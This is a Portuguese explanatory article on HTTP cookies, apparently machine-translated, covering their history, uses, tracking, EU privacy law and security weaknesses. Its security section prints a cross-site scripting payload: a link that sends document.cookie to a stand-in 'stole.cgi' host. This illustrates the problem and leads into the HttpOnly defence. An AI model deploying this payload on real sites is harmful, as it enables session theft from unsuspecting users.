in ,

Cookie de Internet: O que é? Definição, Origens, Tipos e Privacidade

Qual é a função de um cookie, o que é e quais são os tipos de cookies? 🍪

Cookie de Internet: O que é? Definição, Origens, Tipos e Privacidade
Cookie de Internet: O que é? Definição, Origens, Tipos e Privacidade

Un cookie ou cookie da web (ou biscoito, abreviado como testemunha em Quebec) é definido pelo protocolo de comunicação HTTP como sendo uma sequência de informações enviadas por um servidor HTTP a um cliente HTTP, que este último retorna cada vez que o mesmo servidor HTTP é consultado em determinadas condições.

O cookie é o equivalente a um pequeno arquivo de texto armazenado no terminal do internauta. Com mais de 20 anos de existência, permitem que os desenvolvedores de sites armazenem os dados do usuário para facilitar sua navegação e permitir determinadas funcionalidades. Os cookies sempre foram mais ou menos controversos porque contêm informações pessoais residuais que podem ser potencialmente exploradas por terceiros.

Ele é enviado como um cabeçalho HTTP pelo servidor da Web para o navegador da Web, que o retorna inalterado sempre que acessa o servidor. Um cookie pode ser usado para uma autenticação, uma sessão (manutenção do estado), e para armazenar informações específicas sobre o usuário, como as preferências do site ou o conteúdo de um carrinho de compras eletrônico. O termo cookie é derivado de biscoito mágico, um conceito bem conhecido na computação UNIX, que inspirou a ideia e o nome dos cookies do navegador. Existem algumas alternativas aos cookies, cada uma com seus próprios usos, vantagens e desvantagens.

Sendo simples arquivos de texto, os cookies não são executáveis. Eles não são nem spyware nem vírus, embora os cookies de alguns sites sejam detectados por muitos softwares antivírus porque permitem que os usuários sejam rastreados quando visitam vários sites. 

A maioria dos navegadores modernos permite que os usuários decidir se aceita ou rejeita cookies. Os usuários também podem escolha por quanto tempo os cookies são armazenados. No entanto, a rejeição total de cookies torna alguns sites inutilizáveis. Por exemplo, armazene carrinhos de compras ou sites que exijam login usando credenciais (nome de usuário e senha).

conteúdo

histórico

Os banhos biscoito deriva do termo inglês biscoito mágico, que é um pacote de dados que um programa recebe e retorna inalterado. Os cookies já eram usados ​​em TI quando Lou Montulli teve a ideia de usá-los em comunicações web em junho de 1994. Naquela época, ele trabalhava para a Netscape Communications, que havia desenvolvido um aplicativo de comércio eletrônico para um cliente. Os cookies deram uma solução para o problema da confiabilidade da implementação do carrinho de compras virtual de uma loja.

John Giannandrea e Lou Montulli escreveram a primeira especificação de cookie da Netscape naquele mesmo ano. Versão 0.9 beta do Mosaic Netscape, lançada em 13 de outubro de 1994, integrada tecnologia de cookies (veja a postagem). O primeiro uso (não experimental) de cookies foi para determinar se os visitantes do site da Netscape já haviam visitado o site antes. Montulli entrou com um pedido de patente para tecnologia de biscoitos em 1995, e a patente americana 5774670 foi concedida. concedida em 1998.

Após serem implementados no Netscape 0.9 beta em 1994, os cookies foram integrados ao Internet Explorer 2, lançado em outubro de 1995.

A introdução de cookies ainda não foi amplamente conhecida pelo público. Em particular, os cookies foram aceitos por padrão nas configurações do navegador e os usuários não foram informados de sua presença. Algumas pessoas sabiam da existência de cookies por volta do primeiro trimestre de 1995, mas o público em geral só percebeu sua existência depois que o Financial Times publicou um artigo em 12 de fevereiro de 1996. No mesmo ano, os cookies receberam muita atenção da mídia devido a possíveis invasões de privacidade. O assunto dos cookies foi discutido em duas consultas da American Federal Trade Commission em 1996 e 1997.

O desenvolvimento da especificação oficial do cookie já estava em andamento. As primeiras discussões sobre a especificação oficial ocorreram em abril de 1995 na lista de discussão www-talk. Um grupo de trabalho especial da IETF foi formado. Duas propostas alternativas para introduzir o estado nas transações HTTP foram propostas por Brian Behlendorf e David Kristol, respectivamente, mas o grupo, liderado pelo próprio Kristol, decidiu usar a especificação do Netscape como ponto de partida. Em fevereiro de 1996, o grupo de trabalho determinou que os cookies de terceiros eram uma ameaça significativa à privacidade. A especificação produzida pelo grupo acabou sendo publicada como RFC 2109.

Desde o final de 2014, vemos um banner sobre cookies em muitos sites. Existe pelo menos uma extensão de navegador que permite o banner não exibido.

Tipos de Cookies e Usos

Gerenciamento de sessão

Os cookies podem ser usados ​​para manter os dados do usuário durante a navegação, mas também em várias visitas. Os cookies foram introduzidos para fornecer um meio de implementação de carrinhos de compras eletrônicos, um dispositivo virtual no qual o usuário pode acumular os itens que deseja comprar enquanto navega no site.

Hoje em dia, aplicativos como carrinhos de compras armazenam a lista de itens em um banco de dados em um servidor, o que é preferível; do que salvá-los no próprio cookie. O servidor web envia um cookie contendo um ID de sessão exclusivo. O navegador da web retorna esse ID de sessão em cada solicitação subsequente e os itens na cesta são salvos e associados a esse mesmo ID de sessão exclusivo.

O uso frequente de cookies é útil para fazer login em um site usando credenciais. Resumindo, o servidor da Web primeiro envia um cookie contendo um ID de sessão exclusivo. Em seguida, os usuários fornecem suas credenciais (geralmente um nome de usuário e senha). O aplicativo da web autentica a sessão e permite que o usuário acesse o serviço.

personalização

Os cookies podem ser usados ​​para lembrar informações sobre o usuário de um site, a fim de mostrar a ele o conteúdo apropriado no futuro. Por exemplo, um servidor da Web pode enviar um cookie contendo o último nome de usuário usado para fazer login nesse site, para que o nome de usuário possa ser pré-preenchido em visitas futuras.

Muitos sites usam cookies para personalização com base nas preferências do usuário. Os usuários selecionam suas preferências em um formulário e as enviam ao servidor. O servidor codifica as preferências em um cookie e o envia de volta ao navegador. Posteriormente, cada vez que o usuário acessa uma página deste site, o navegador retorna o cookie e, portanto, a lista de preferências; o servidor pode personalizar a página de acordo com as preferências do usuário. Por exemplo, o site da Wikipedia permite que seus usuários escolham a aparência do site de sua preferência. O motor de busca Google permite aos seus utilizadores (mesmo que não estejam registados) escolher o número de resultados que pretendem ver em cada página de resultados.

Rastreamento

Os cookies de rastreamento são usados ​​para rastrear os hábitos de navegação dos usuários da Internet. Isso também pode ser feito em parte usando o endereço IP do computador que faz uma solicitação para uma página ou usando o cabeçalho HTTP 'referrer' que o cliente envia a cada solicitação, mas os cookies permitem maior precisão. Isso pode ser feito como no exemplo a seguir:

  1. Se o usuário acessar uma página em um site e a solicitação não contiver um cookie, o servidor assumirá que esta é a primeira página visitada pelo usuário. O servidor então cria uma string aleatória e a envia para o navegador junto com a página solicitada.
  2. A partir deste momento, o cookie será enviado automaticamente pelo navegador cada vez que uma nova página do site for chamada. O servidor enviará a página como de costume, mas também registrará o URL da página chamada, a data, a hora da solicitação e o cookie em um arquivo de log.

Olhando para o arquivo de log, é possível ver quais páginas o usuário visitou e em que ordem. Por exemplo, se o arquivo contém algumas solicitações feitas usando o cookie id=abc, isso pode estabelecer que todas essas solicitações vêm do mesmo usuário. A URL solicitada, a data e a hora associadas às solicitações permitem o rastreamento da navegação do usuário.

Cookies e web beacons de terceiros, explicados abaixo, também permitem o rastreamento em diferentes sites. O rastreamento de site único geralmente é usado para fins estatísticos. Por outro lado, o rastreamento em diferentes sites usando cookies de terceiros geralmente é usado por empresas de publicidade para produzir perfis de usuários anônimos (que são usados ​​para determinar quais anúncios devem ser exibidos ao usuário, bem como para enviar e-mails correspondentes a esses anúncios — SPAM ).

Cookies de rastreamento são um risco de invasão de privacidade do usuário, mas podem ser facilmente excluídos. A maioria dos navegadores modernos inclui uma opção para excluir automaticamente os cookies persistentes ao fechar o aplicativo.

Cookies de terceiros

Imagens e outros objetos contidos em uma página da web podem residir em servidores diferentes daquele que hospeda a página. Para exibir a página, o navegador baixa todos esses objetos. A maioria dos sites contém informações de diferentes fontes. Por exemplo, se você digitar www.example.com em seu navegador, frequentemente haverá objetos ou anúncios em parte da página que vêm de fontes diferentes, ou seja, de um domínio diferente de www. .example.com. Cookies "primários" são cookies definidos pelo domínio listado na barra de endereço do navegador. Os cookies de terceiros são definidos por um dos objetos da página que vem de um domínio diferente.

Por padrão, navegadores como Mozilla Firefox, Microsoft Internet Explorer e Opera aceitam cookies de terceiros, mas os usuários podem alterar as configurações nas opções do navegador para bloqueá-los. Não há risco de segurança inerente aos cookies de terceiros que permitem a funcionalidade da web, no entanto, eles também são usados ​​para rastrear usuários. de site para site.

Ferramentas como o Ghostery disponíveis para todos os navegadores, incluindo o Google Chrome, podem bloquear trocas entre terceiros.

Implementação

Uma possível interação entre um navegador da web e o servidor que hospeda a página da web. O servidor envia um cookie para o navegador e o navegador o envia de volta quando chama outra página.
Uma possível interação entre um navegador da web e o servidor que hospeda a página da web. O servidor envia um cookie para o navegador e o navegador o envia de volta quando chama outra página.

Cookies são pequenos pedaços de dados enviados pelo servidor da web para o navegador. O navegador os retorna inalterados para o servidor, introduzindo estado (memória de eventos passados) na transação HTTP sem estado. Sem cookies, cada recuperação de uma página da web ou de um componente de uma página da web é um evento isolado, independente de outras solicitações feitas ao mesmo site. Além de poderem ser configurados pelo servidor web, os cookies também podem ser configurados por linguagens de script como JavaScript, se suportados e autorizados pelo navegador.

A especificação oficial de cookies sugere que os navegadores possam salvar e reenviar um número mínimo de cookies. Especificamente, um navegador deve ser capaz de armazenar pelo menos 300 cookies de quatro kilobytes cada e pelo menos 20 cookies para um único servidor ou domínio.

De acordo com a seção 3.1 do RFC 2965, os nomes dos cookies não diferenciam maiúsculas de minúsculas.

Um cookie pode especificar a data de expiração, caso em que o cookie será excluído nesta data. Se o cookie não especificar uma data de expiração, o cookie será excluído assim que o usuário sair do navegador. Portanto, especificar uma data de expiração é uma forma de fazer com que o cookie sobreviva a várias sessões. Por este motivo, os cookies com data de expiração são considerados persistente. Um exemplo de aplicação: um site de varejo pode usar cookies persistentes para registrar os itens que os usuários colocaram em seus carrinhos de compras (na realidade, o cookie pode se referir a uma entrada salva em um banco de dados no site de venda e não em seu computador) . Dessa forma, se o usuário sair do navegador sem fazer uma compra e retornar a ele posteriormente, poderá encontrar novamente os itens no carrinho. Se esses cookies não dessem uma data de expiração, eles expirariam quando o navegador fosse fechado e as informações sobre o conteúdo da cesta seriam perdidas.

Os cookies podem ser limitados em escopo a um domínio, subdomínio ou caminho específico no servidor que os criou.

A transferência de páginas da web é feita usando o HyperText Transfer Protocol (HTTP). Ao ignorar os cookies, os navegadores chamam uma página dos servidores da Web, geralmente enviando a eles um pequeno texto chamado solicitação HTTP. Por exemplo, para acessar a página www.example.org/index.html, os navegadores se conectam ao servidor www.example.org e enviam uma solicitação semelhante a esta:

GET /index.html HTTP/1.1Host: www.example.org
navegadorserveur

O servidor responde enviando a página solicitada, precedida de um texto semelhante, sendo o conjunto chamado Resposta HTTP. Este pacote pode conter linhas instruindo o navegador a armazenar cookies:

HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value
(página HTML)
navegadorserveur

O servidor só envia a linha Set-Cookie, se o servidor quiser que o navegador armazene um cookie. Set-Cookie é uma solicitação para o navegador armazenar a string name=value e retorná-la em todas as solicitações futuras ao servidor. Se o navegador suportar cookies e os cookies estiverem ativados nas opções do navegador, o cookie será incluído em todas as solicitações subsequentes feitas ao mesmo servidor. Por exemplo, o navegador chama a página www.example.org/news.html enviando a seguinte solicitação ao servidor www.example.org:

GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
navegadorserveur

Esta é uma solicitação de outra página do mesmo servidor e difere da primeira acima porque contém uma string que o servidor enviou anteriormente ao navegador. Graças a este meio, o servidor sabe que este pedido está vinculado ao anterior. O servidor responde enviando a página chamada e também adicionando outros cookies a ela.

O valor do cookie pode ser alterado pelo servidor enviando uma nova linha Set-Cookie: name=new_value em resposta à página chamada. O navegador então substitui o valor antigo pelo novo.

A linha Set-Cookie geralmente é criada por um programa CGI ou outra linguagem de script, não pelo servidor HTTP. O servidor HTTP (exemplo: Apache) transmitirá apenas o resultado do programa (um documento precedido pelo cabeçalho contendo os cookies) para o navegador.

Os cookies também podem ser definidos por JavaScript ou outras linguagens semelhantes em execução no navegador, ou seja, no lado do cliente e não no lado do servidor. Em JavaScript, o objeto document.cookie é usado para essa finalidade. Por exemplo, a declaração document.cookie = "temperature=20" cria um cookie chamado "temperature" e com valor 20.

Exemplo de uma resposta HTTP de google.com, que define um cookie com atributos.
Exemplo de uma resposta HTTP de google.com, que define um cookie com atributos.

Além do par nome/valor, um cookie também pode conter uma data de expiração, um caminho, um nome de domínio e o tipo de conexão pretendida, ou seja, normal ou criptografada. A RFC 2965 também define que os cookies devem ter um número de versão obrigatório, mas isso geralmente é omitido. Essas partes de dados seguem o par name=new_value e são separadas por ponto e vírgula. Por exemplo, um cookie pode ser criado pelo servidor enviando uma linha Set-Cookie: name=new_value; expira=data; caminho=/; domínio=.exemplo.org.

Os cookies expiram e não são enviados pelo navegador para o servidor nas seguintes situações:

  • Quando o navegador é fechado, se o cookie não for persistente.
  • Quando a data de expiração do cookie tiver passado.
  • Quando a data de expiração do cookie é alterada (pelo servidor ou pelo script) para uma data no passado.
  • Quando o navegador exclui o cookie a pedido do usuário.

A terceira situação permite que servidores ou scripts excluam explicitamente um cookie. Observe que é possível com o navegador Google Chrome saber a data de expiração de um determinado cookie acessando as configurações de conteúdo. Um cookie salvo em um computador pode muito bem permanecer lá por várias décadas se nenhum procedimento for feito para apagá-lo.

Equívocos

Desde a sua introdução na Internet, muitas ideias sobre cookies circularam na Internet e nos meios de comunicação. Em 1998, CIAC, uma equipe de monitoramento de incidentes de computador do Departamento de Energia dos Estados Unidos, determinou que as vulnerabilidades de segurança de cookies eram "essencialmente inexistentes" e explicou que "as informações sobre a origem de suas visitas e os detalhes das páginas da web que você visitou já existem nos arquivos de log dos servidores web”. Em 2005, a Jupiter Research publicou os resultados de um estudo, no qual uma porcentagem significativa dos entrevistados considerou as seguintes afirmações:

  • Cookies são como vírus, eles infectam os discos rígidos dos usuários.
  • Cookies gerados pop-up.
  • Os cookies são usados ​​para enviar Spam.
  • Os cookies são usados ​​apenas para publicidade.

Os cookies não podem apagar ou ler informações do computador do usuário. No entanto, os cookies permitem detectar as páginas da web visitadas por um usuário em um determinado site ou conjunto de sites. Essas informações podem ser coletadas em um perfil de usuário que pode ser usado ou revendido a terceiros, o que pode representar sérios problemas de privacidade. Alguns perfis são anônimos, no sentido de que não contêm informações pessoais, mas mesmo esses perfis podem ser questionáveis.

De acordo com o mesmo estudo, uma grande percentagem de internautas não sabe como apagar os cookies. Uma das razões pelas quais as pessoas não confiam nos cookies é que alguns sites abusaram do aspecto de identificação pessoal dos cookies e compartilharam essas informações com outras fontes. Uma grande porcentagem de publicidade direcionada e e-mail não solicitado, considerado spam, vem de informações coletadas de cookies de rastreamento.

Configurações do navegador

A maioria dos navegadores suporta cookies e permite ao usuário desativá-los. As opções mais comuns são:

  • Ative ou desative completamente os cookies, para que sejam constantemente aceitos ou bloqueados.
  • Permita que o usuário veja os cookies ativos em uma determinada página, inserindo javascript: alert(document.cookie) na barra de endereço do navegador. Alguns navegadores incorporam um gerenciador de cookies para o usuário que pode visualizar e excluir seletivamente os cookies atualmente armazenados pelo navegador.

A maioria dos navegadores também permite a exclusão total de dados pessoais, incluindo cookies. Também existem módulos adicionais para controlar as permissões de cookies.

Cookies de privacidade e de terceiros

Neste exemplo fictício, uma empresa de publicidade colocou banners em dois sites. Ao hospedar os banners em seus servidores e utilizar cookies de terceiros, a empresa de publicidade consegue rastrear a navegação do usuário por esses dois sites.

Os cookies têm implicações importantes para a privacidade e o anonimato dos usuários da web. Embora os cookies sejam devolvidos apenas ao servidor que os definiu ou a um servidor pertencente ao mesmo domínio da Internet, uma página da Web pode, no entanto, conter imagens ou outros componentes armazenados em servidores pertencentes a outros domínios. Os cookies que são definidos durante a recuperação desses componentes externos são chamados cookies de terceiros. Isso inclui cookies de janelas pop-up indesejadas.

As empresas de publicidade usam cookies de terceiros para rastrear usuários nos diferentes sites que eles visitam. Em particular, uma empresa de publicidade pode rastrear um usuário em todas as páginas onde colocou imagens de publicidade ou um pixel de rastreamento. O conhecimento das páginas visitadas pelo usuário permite que a empresa de publicidade direcione as preferências publicitárias do usuário.

A capacidade de criar um perfil de usuário é considerada por alguns como uma invasão de privacidade, especialmente quando o rastreamento é feito em diferentes domínios usando cookies de terceiros. Por esse motivo, alguns países possuem legislação sobre cookies.

O governo dos Estados Unidos implementou regras estritas sobre a colocação de cookies em 2000, depois que foi revelado que o Escritório de Política de Drogas da Casa Branca estava usando cookies para rastrear os computadores dos usuários que visualizavam anúncios de drogas online. Em 2002, o ativista de privacidade Daniel Brandt descobriu que a CIA deixava cookies persistentes em computadores que visitavam seus sites. Uma vez informada dessa violação, a CIA declarou que esses cookies não foram enviados intencionalmente e deixou de configurá-los. Em 25 de dezembro de 2005, Brandt descobriu que a Agência de Segurança Nacional (NSA) havia deixado dois cookies persistentes nos computadores dos visitantes devido a uma atualização de software. Após ser notificada, a NSA desativou imediatamente os cookies.

No Reino Unido, o lei de cookies “, entrou em vigor em 25 de maio de 2012, obriga os sites a declararem suas intenções, permitindo assim aos usuários escolher se querem ou não deixar rastros de sua passagem pela Internet. Eles podem, portanto, ser protegidos da segmentação de publicidade. No entanto, de acordo com The Guardian, o consentimento dos internautas não é necessariamente explícito; foram feitas alterações nos termos de consentimento do usuário, tornando-o assim implícito.

Diretiva 2002/58 sobre privacidade

A diretiva 202/58 de privacidade e comunicações eletrónicas, contém regras sobre a utilização de cookies. Em particular, o n.º 5 do artigo 3.º desta diretiva exige que o armazenamento de dados (como cookies) no computador do utilizador só possa ser efetuado se:

  • o usuário é informado de como os dados são usados;
  • o usuário tem a opção de recusar esta operação de armazenamento. No entanto, este artigo também estabelece que o armazenamento de dados por motivos técnicos está isento desta lei.

Prevista para ser implementada a partir de Outubro de 2003, a directiva foi, no entanto, apenas muito imperfeitamente posta em prática de acordo com um relatório de Dezembro de 2004, que também apontava que alguns Estados-Membros (Eslováquia, Letónia, Grécia, Bélgica e Luxemburgo) ainda não tinham transposto a directiva para o direito interno.

De acordo com o parecer do G29 em 2010, esta diretiva, que condiciona nomeadamente a utilização de cookies para fins de publicidade comportamental, ao consentimento explícito do internauta continua a ser muito mal aplicada. De facto, a maioria dos sites fá-lo de forma não conforme com a diretiva, limitando-se a um simples “banner” informando sobre a utilização de “cookies” sem dar informação sobre as utilizações, sem diferenciar entre cookies “técnicos”. cookies de "rastreamento", nem para oferecer uma escolha real ao usuário que deseja manter cookies técnicos (como cookies de gerenciamento de carrinho de compras) e recusar cookies de "rastreamento". De fato, muitos sites não funcionam corretamente se os cookies forem recusados, o que não cumpre a diretiva 2002/58 ou a diretiva 95/46 (Proteção de dados pessoais).

Diretiva 2009/136 / CE

Este material foi atualizado pela Diretiva 2009/136/CE de 25 de novembro de 2009, que estabelece que o "armazenamento de informações, ou obtenção de acesso a informações já armazenadas, no equipamento terminal de um assinante ou usuário é permitido apenas na condição de que o assinante ou utilizador tenha dado o seu consentimento, depois de ter recebido, nos termos da Diretiva 95/46/CE, informação clara e completa, entre outras sobre as finalidades do tratamento”. A nova diretiva reforça assim as obrigações prévias à colocação de cookies no computador do internauta.

Nas considerações preliminares da diretiva, o legislador europeu especifica, no entanto: "Sempre que for tecnicamente possível e eficaz, de acordo com as disposições relevantes da Directiva 95/46/CE, o consentimento do utilizador relativamente ao tratamento pode ser expresso através do uso das configurações apropriadas de um navegador ou outro aplicativo”. Mas, de fato, nenhum navegador até hoje permite dissociar os cookies técnicos essenciais dos opcionais que devem ser deixados à escolha do usuário.

Esta nova diretiva foi transposta pelos deputados belgas em julho de 2012. Um estudo de 2014 mostra que mesmo os deputados lutam para aplicar os constrangimentos da directiva.

P3P

A especificação P3P inclui a capacidade de um servidor declarar uma política de privacidade, que define que tipo de informação ele coleta e para qual finalidade. Essas políticas incluem (mas não estão limitadas a) o uso de informações coletadas por meio de cookies. De acordo com as definições do P3P, um navegador pode aceitar ou rejeitar cookies comparando as políticas de privacidade com as preferências do usuário ou solicitando ao usuário, apresentando a declaração de privacidade da política de privacidade declarada pelo servidor.

Muitos navegadores, incluindo Apple Safari e Microsoft Internet Explorer versões 6 e 7, suportam P3P, o ​​que permite ao navegador determinar se aceita o armazenamento de cookies de terceiros. O navegador Opera permite aos usuários recusar cookies de terceiros e criar um perfil de segurança global e específico para domínios da Internet. O Mozilla Firefox versão 2 abandonou o suporte P3P, mas o restabeleceu na versão 3.

Os cookies de terceiros podem ser bloqueados pela maioria dos navegadores para aumentar a privacidade e reduzir o rastreamento de anúncios, sem afetar negativamente a experiência do usuário na web. Muitas agências de publicidade oferecem uma opção excluir à publicidade direcionada, através da configuração de um cookie genérico no navegador que desativa esse direcionamento, mas tal solução não é praticamente eficaz, quando é respeitada, porque esse cookie genérico é apagado assim que o usuário exclui esses cookies, o que cancela a opção fora decisão.

Desvantagens dos cookies

Além dos problemas de privacidade, os cookies também apresentam algumas desvantagens técnicas. Em particular, eles nem sempre identificam com precisão os usuários, podem diminuir o desempenho do site quando em grande número, podem ser usados ​​para ataques de segurança e entram em conflito com a transferência de estado representativa, estilo arquitetônico do software.

Identificação imprecisa

Se mais de um navegador for usado em um computador, em cada um deles sempre haverá uma unidade de armazenamento separada para cookies. Os cookies, portanto, não identificam uma pessoa, mas a combinação de uma conta de usuário, um computador e um navegador da web. Assim, qualquer pessoa pode usar essas contas, computadores ou navegadores que tenham a panóplia de cookies. Da mesma forma, os cookies não diferenciam entre vários usuários que compartilham a mesma conta de usuário, computador e navegador, como em “internet cafés” ou qualquer lugar que dê acesso gratuito a recursos de computador.

Mas na prática esta afirmação acaba por ser falaciosa na maioria dos casos porque hoje um computador "pessoal" (ou um smartphone, ou tablet, o que é pior) é usado principalmente por um único indivíduo. Isso equivale a visar uma pessoa específica e através do volume de informações coletadas chegam a um direcionamento personalizado mesmo que a pessoa não seja “nomeadamente” identificada.

Um cookie pode ser roubado por outro computador na rede.

Durante a operação normal, os cookies são enviados de volta entre o servidor (ou um grupo de servidores no mesmo domínio) e o navegador do computador do usuário. Como os cookies podem conter informações confidenciais (nome de usuário, senha usada para autenticação etc.), seus valores não devem ser acessíveis a outros computadores. O roubo de cookies é um ato de interceptação de cookies por um terceiro não autorizado.

Os cookies podem ser roubados por meio de um farejador de pacotes em um ataque chamado seqüestro de sessão. O tráfego na rede pode ser interceptado e lido por computadores diferentes daqueles que enviam e recebem (especialmente no espaço Wi-Fi público não criptografado). Esse tráfego inclui cookies enviados por sessões usando o protocolo HTTP simples. Quando o tráfego de rede não é criptografado, usuários mal-intencionados podem ler as comunicações de outros usuários na rede usando "sniffers de pacotes".

Esse problema pode ser superado criptografando a conexão entre o computador do usuário e o servidor usando o protocolo HTTPS. Um servidor pode especificar um bandeira segura ao definir um cookie; o navegador só o enviará por uma linha segura, como uma conexão SSL.

No entanto, muitos sites, embora usando comunicação criptografada HTTPS para autenticação do usuário (ou seja, a página de login), posteriormente enviam cookies de sessão e outros dados normalmente, por meio de conexões HTTP não criptografadas por motivos de eficiência. Os invasores podem, assim, interceptar os cookies de outros usuários e personificá-los em sites apropriados ou usá-los em ataques de cookies.

Scripting no site: um cookie que só deve ser trocado entre o servidor e o cliente é enviado para outro terceiro.

Outra maneira de roubar cookies é criar scripts de sites e fazer com que o próprio navegador envie cookies para servidores maliciosos que nunca os recebem. Os navegadores modernos permitem a execução de partes de código procuradas do servidor. Se os cookies forem acessados ​​durante o tempo de execução, seus valores podem ser comunicados de alguma forma aos servidores que não devem acessá-los. Criptografar cookies antes de serem enviados pela rede não ajuda a impedir o ataque.

Esse tipo de script no site geralmente é empregado por invasores em sites que permitem que os usuários publiquem conteúdo HTML. Ao integrar uma parte do código compatível na contribuição HTML, um invasor pode receber cookies de outros usuários. O conhecimento desses cookies pode ser usado conectando-se ao mesmo site usando os cookies roubados, sendo assim reconhecido como o usuário cujos cookies foram roubados.

Uma maneira de evitar esses ataques é usar o sinalizador HttpOnly; é uma opção, introduzida desde a versão 6 do Internet Explorer em PHP desde a versão 5.2.0 que está prevista para tornar o cookie inacessível ao cliente próximo ao script. No entanto, os desenvolvedores da Web devem levar isso em consideração no desenvolvimento do site, para que fiquem imunes a scripts no site.

Outra ameaça de segurança usada é a fabricação de demanda no site.

A especificação técnica oficial permite que os cookies sejam enviados de volta apenas para os servidores do domínio de origem. No entanto, o valor dos cookies pode ser enviado para outros servidores usando outros meios além dos cabeçalhos dos cookies.

Em particular, linguagens de script como JavaScript geralmente têm permissão para acessar valores de cookies e são capazes de enviar valores arbitrários para qualquer servidor na Internet. Esse recurso de script é usado em sites que permitem aos usuários postar conteúdo HTML para outros usuários visualizarem.

Por exemplo, um invasor operando no domínio example.com pode postar um comentário contendo o seguinte link apontando para um blog popular que, de outra forma, ele não controla:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Quando outro usuário clica neste link, o navegador executa a parte do atributo onclick do código, então ele substitui a string document.cookie pela lista de cookies do usuário que estão ativos para esta página. Portanto, essa lista de cookies é enviada para o servidor example.com e, portanto, o invasor pode coletar os cookies desse usuário.

Este tipo de ataque é difícil de detectar do lado do usuário porque o script vem do mesmo domínio que definiu o cookie, e a operação para enviar os valores parece ser autorizada por esse domínio. Considera-se que é da responsabilidade dos administradores que exploram este tipo de site a implementação de restrições que impeçam a publicação de códigos maliciosos.

Os cookies não são diretamente visíveis para programas do lado do cliente, como JavaScript, se forem enviados com o sinalizador HttpOnly. Do ponto de vista do servidor, a única diferença é que na linha do cabeçalho Set-Cookie é adicionado um novo campo contendo a string HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Quando o navegador recebe tal cookie, ele deve usá-lo normalmente na próxima troca HTTP, mas sem torná-lo visível para scripts executados no lado do cliente. O sinalizador HttpOnly não faz parte de nenhuma especificação técnica oficial e não é implementado em todos os navegadores. Observe que atualmente não há como impedir a leitura e gravação de cookies de sessão pelo método XMLHTTPRequest.

Modificação de conteúdo: um invasor envia um cookie inválido para um servidor, possivelmente feito a partir de um cookie válido enviado pelo servidor.

Assim que os cookies precisam ser armazenados e devolvidos inalterados ao servidor, um invasor pode modificar o valor dos cookies antes de serem enviados de volta ao servidor. Por exemplo, se um cookie contém o valor total que o usuário deve pagar pelos itens colocados no carrinho de compras da loja, alterar esse valor expõe o servidor ao risco de cobrar do invasor menos do que o preço inicial. O processo de modificação do valor dos cookies é chamado envenenamento por biscoito e pode ser usado após o roubo de cookies para tornar o ataque persistente.

No método de substituição de cookie, o invasor explora uma falha do navegador para enviar um cookie inválido ao servidor.

A maioria dos sites, no entanto, armazena apenas um ID de sessão - um número exclusivo gerado aleatoriamente usado para identificar o usuário da sessão - no próprio cookie, enquanto todas as outras informações são armazenadas no servidor. Nesse caso, esse problema é amplamente resolvido.

Espera-se que cada site tenha seus próprios cookies, portanto, um site não deve ser capaz de modificar ou criar cookies associados a outro site. Uma falha de segurança do navegador da Web pode permitir que sites maliciosos quebrem essa regra. A exploração de tal falha é comumente referida como culinária cruzada. O objetivo de tais ataques pode ser o roubo de ID de sessão.

Os usuários devem usar as versões mais recentes dos navegadores da Web nas quais essas vulnerabilidades são praticamente eliminadas.

Estado conflitante entre cliente e servidor

A utilização de cookies pode gerar uma contradição entre o estado do cliente e o estado armazenado no cookie. Se o usuário adquirir um cookie e clicar no botão "Voltar" do navegador, o estado do navegador geralmente não é o mesmo de antes dessa aquisição. Por exemplo, se o carrinho de uma loja online for criado usando cookies, o conteúdo do carrinho não pode mudar quando o usuário retornar ao histórico do navegador: se o usuário pressionar um botão para adicionar um artigo ao seu carrinho e clicar no botão "Voltar ", o artigo permanece neste. Esta pode não ser a intenção do usuário, que certamente deseja cancelar a adição do artigo. Isso pode levar a falta de confiabilidade, confusão e bugs. Portanto, os desenvolvedores da Web devem estar cientes desse problema e implementar medidas para lidar com situações como essa.

Os cookies persistentes foram criticados por especialistas em segurança de privacidade por não serem configurados para expirar em breve, permitindo assim que os sites rastreiem os usuários e criem seus perfis ao longo do tempo. Esse aspecto dos cookies também faz parte do problema de sequestro de sessão, porque um cookie persistente roubado pode ser usado para representar um usuário por um período de tempo considerável.

Leia também: GAFAM: quem são eles? Por que eles são (às vezes) tão assustadores?

Alternativas aos cookies

Algumas operações que podem ser realizadas usando cookies também podem ser realizadas usando outros mecanismos que contornam cookies ou recriam cookies excluídos, o que cria problemas de privacidade da mesma forma (ou às vezes pior porque invisível) do que os cookies.

Endereço IP

Os usuários podem ser rastreados com o endereço IP do computador que chama a página. Essa técnica está disponível desde a introdução da World Wide Web, conforme as páginas são baixadas, o servidor solicita o endereço IP do computador que executa o navegador ou proxy, se nenhum for usado. O servidor pode rastrear essas informações, independentemente de haver ou não cookies em uso. No entanto, esses endereços são normalmente menos confiáveis ​​na identificação de um usuário do que os cookies, porque computadores e proxies podem ser compartilhados por vários usuários, e o mesmo computador pode receber um endereço IP diferente em cada sessão de trabalho (como c geralmente é o caso de conexões telefônicas) .

O rastreamento por endereços IP pode ser confiável em algumas situações, como conexões de banda larga que mantêm o mesmo endereço IP por muito tempo, desde que a energia esteja ligada.

Alguns sistemas como o Tor são projetados para manter o anonimato da Internet e tornar o rastreamento por endereço IP impossível ou impraticável.

URL

Uma técnica mais precisa é baseada na incorporação de informações em URLs. A parte da string de consulta da URL é uma técnica normalmente usada para essa finalidade, mas outras partes também podem ser usadas. Tanto o serverlet Java quanto os mecanismos de sessão PHP usam este método se os cookies não estiverem habilitados.

Esse método envolve o servidor da Web anexando solicitações de string aos links da página da Web que a carrega quando é enviada ao navegador. Quando o usuário segue um link, o navegador retorna a string de consulta anexada ao servidor.

As strings de consulta utilizadas para esse fim e os cookies são muito semelhantes, sendo ambos informações escolhidas arbitrariamente pelo servidor e retornadas pelo navegador. No entanto, existem algumas diferenças: quando uma URL contendo uma string de consulta é reutilizada, a mesma informação é enviada ao servidor. Por exemplo, se as preferências de um usuário forem codificadas em uma string de consulta de um URL e o usuário enviar esse URL para outro usuário por e-mail, esse usuário também poderá usar essas preferências.

